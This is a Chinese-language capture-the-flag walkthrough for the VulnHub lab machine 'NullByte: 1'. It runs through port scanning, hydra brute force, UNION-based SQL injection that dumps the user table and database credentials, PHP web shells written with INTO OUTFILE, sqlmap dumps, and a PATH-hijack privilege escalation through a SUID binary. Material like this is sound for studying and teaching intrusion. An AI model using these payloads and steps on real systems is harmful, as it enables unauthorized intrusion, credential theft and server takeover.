NullByte: 1靶机攻略 https://zhuanlan.zhihu.com/p/17341573329NullByte: 1 ~ VulnHub1.主机发现arp-scan -I eth0 192.168.100.0/242.端口扫描nmap -sS -Pn --min-rate10000 -sV -O 192.168.100.148 -p-nmap -sU --top-port 20 192.168.100.148 closed Nmap 发 UDP 包 → 目标返回 ICMP 端口不可达 确定这个 UDP 端口没有开放 例123/udp closed open|filtered Nmap 发包后 → 目标完全没有任何回复 两种可能性 Nmap 区分不开 情况 A端口开放UDP 服务收到探测包但不会主动回应空探测包 情况 B防火墙直接丢弃数据包过滤 所以标记 open|filtered不能直接断定开放需要进一步验证 -sU: 这个选项告诉Nmap执行UDP扫描。 --top-port 20: 这个选项告诉Nmap只扫描最常见的20个端口。Nmap会扫描UDP端口1到20这些端口通常是最有可能开放的UDP端口。再利用nmap进行UDP端口的扫描但是没有什么特别值得去挖掘的地方从目前的情况来看80端口是最值得去查看的。nmap漏洞扫描利用nmap进行漏洞扫描挖掘看看有没有什么新的发现。nmap --scriptvuln -p80,111,777,34547 192.168.100.148这个一般会很慢 可以加-T4漏洞编号CVE-2011-1002原理发送畸形空 UDP 包存在漏洞的 Avahi 服务会崩溃拒绝服务 DoS对于渗透不是突破口web80端口探测访问web的80端口就一张图片右击查看网页源代码就显示了一张图片名字没有任何的提示了。3.目录扫描dirsearch -u http://192.168.100.148/uploads、/phpmyadmin、/javascript目录我们下面尝试进行访问扫描出来的目录。访问/uploads/目录提示这个目录下没有任何的文件这就给我们一个提示说不定是叫我们到时候上传上去呢要不然不会无辜给出一个/uploas/目录的这个我们后面多注意下。访问/phpmyadmin/目录发现需要进行登录一般像这种情况我们可以进行弱口令登录有就有没有就算了因为实战中就是这莫个思路。想到要账号密码那我们得进行信息收集把像密码的收集起来然后进行登录尝试。4.web渗透思路我们开始进行web渗透信息收集的时候开始有张图片我们可以按照CTF的思路进行分析因为这张图片是在web网站的根目录下所以我们可以直接进行下载。wget http://192.168.100.148/main.gif file main.gif exiftool main.gifexiftool说不定是目录呢试一试还真是个目录查看源代码发现这个hydra爆破key值利用hydra九头蛇进行爆破其中rockyou.txt是kali中常用密码碰撞的字典师傅们可以记录下。hydra 192.168.100.148 http-form-post /kzMb5nVYJw/index.php:key^PASS^:invalid key -l routing -P /usr/share/wordlists/rockyou.txt hydra: 这是执行暴力破解攻击的工具。 192.168.100.148: 这是目标主机的IP地址。 http-form-post: 这个选项告诉Hydra使用HTTP POST方法来提交表单。 /kzMb5nVYJw/index.php:key^PASS^:invalid key: 这是指定了要攻击的目标URL和表单字段。在这个URL中kzMb5nVYJw/index.php 是表单提交的路径key^PASS^ 是表单字段^PASS^ 是Hydra将会尝试猜测的密码的占位符而 invalid key 是当密码错误时网站返回的响应。 -l routing: 这个选项指定了要猜测的用户名routing 在这里是一个示例用户名。 -P /usr/share/wordlists/rockyou.txt: 这个选项指定了用于猜测密码的字典文件路径。在这里使用了一个常见的密码字典文件 /usr/share/wordlists/rockyou.txt。 因为这是单参数表单没有用户名提交项。routing不是刚需只是为了语法 hydra 要求必须带上 -l/-L 参数语法强制要求不然报错 所以作者说随便写一个用户名凑语法写啥都行不影响爆破结果。登登陆成功sql注入联合查询我们右击查看源代码发现了420search.php 文件这个文件应该是与这个界面交互的一个文件。那么直接有我们随便输入一个1提示我们成功查询到数据并且我们发现这里存在GET传参我们把1删掉发现了两个用户以及别的信息这很有可能存在sql注入漏洞我们下一步就是可以进行sql注入漏洞尝试。当我们输入双引号发现这个页面报错了说明我们的猜想是正确的就是存在sql注入那么我们合并--或者-- -或者#或者--空红色的可以1、order by查看这个数据库的列数我们发现3列正常回显而4列的时候报错了说明这个数据库就是3列。2、union select查看数据库发现数据库的名是seth3、查看表发现表名叫usershttp://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearchunion select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase()--○ schemata表存储该用户创建的所有的数据库库名这里我们只需要记住SCHEMA_NAME这个字段 ○ tables表存储该用户创建的所有的数据库库名和表名这里我们只需要记住TABLE_SCHEMA和TABLE_NAME这两个字段 ○ columns表存储该用户创建的所有的数据库库名、表名和字段名这里我们只需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME4、查看列名得到列id,user,pass,positionhttp://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearchunion select 1,2,group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers--5、查看user,pass内容为了看清楚我这里把user和pass分别查看因为pass是一个字符串比较长。 union select 1,2,group_concat(user) from seth.sethusers--YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE base64 c6d6bd7ebf806f43c76acc3681703b81 base64解码 看上去像是一个md5的字符这里知道用户名可能是ramsesisis与密码匹配试试ssh连接ssh ramses192.168.100.148 -p 777SQL注入写入一句话木马1.数据库secure_file_priv参数为空即我们具有写的权限。 2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads这个目录很可能可以写入。这里我们利用into outfile写入php木马文件到/var/www/html/uploads/目录下然后利用GET传参执行命令http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch union select ?php eval($_POST[1]);?,2,3 into outfile /var/www/html/uploads/shell.php -- 这个是直接webshell连接 图像化探索 http://192.168.100.148/uploads/shell.php 密码1 http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch union select ?php system($_GET[cmd]);?,2,3 into outfile /var/www/html/uploads/shelll.php -- ?php system($_GET[cmd]);?也行 可以在当前页面执行系统命令 http://192.168.100.148/uploads/shelll.php?cmdwhoami 页面回显www-data 两者区别 eval()执行 PHP 代码 post传参 http://xxx/shelll.php 1system(whoami); system()调用系统命令操作系统 shell get传参 http://xxx/shelll.php?cmdwhoami成功拿到shell发现数据库的密码得到数据库的账号为root密码为sunnyvale那么我们就可以利用这个账号密码进行登录ip/phpmyadmin/了sqlmap一把梭利用sqlmap跑脚本就不带师傅们讲太多了只要找到了注入点直接用脚本的命令跑就好了。sqlmap -u http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch1 --batch --dumpbase64解码 md5解码sqlmap -u http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch1 --batch -D seth -T users -C ramses,isis --dump5.提权ssh连接find / -perm -us -type f 2/dev/null查看history发现貌似还执行了两个命令sh可能与shell相关ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中而这个操作与sh和ps相关这样在执行procwatch的时候由于procwatch具有s权限就可以以root身份运行从而触发提权。首先建立一个软连接将ps连接到/bin/sh这样在执行procwatch的时候无论是sh还是ps都会把root的shshell带出来ln -s /bin/sh ps export PATH.:$PATH ./procwatch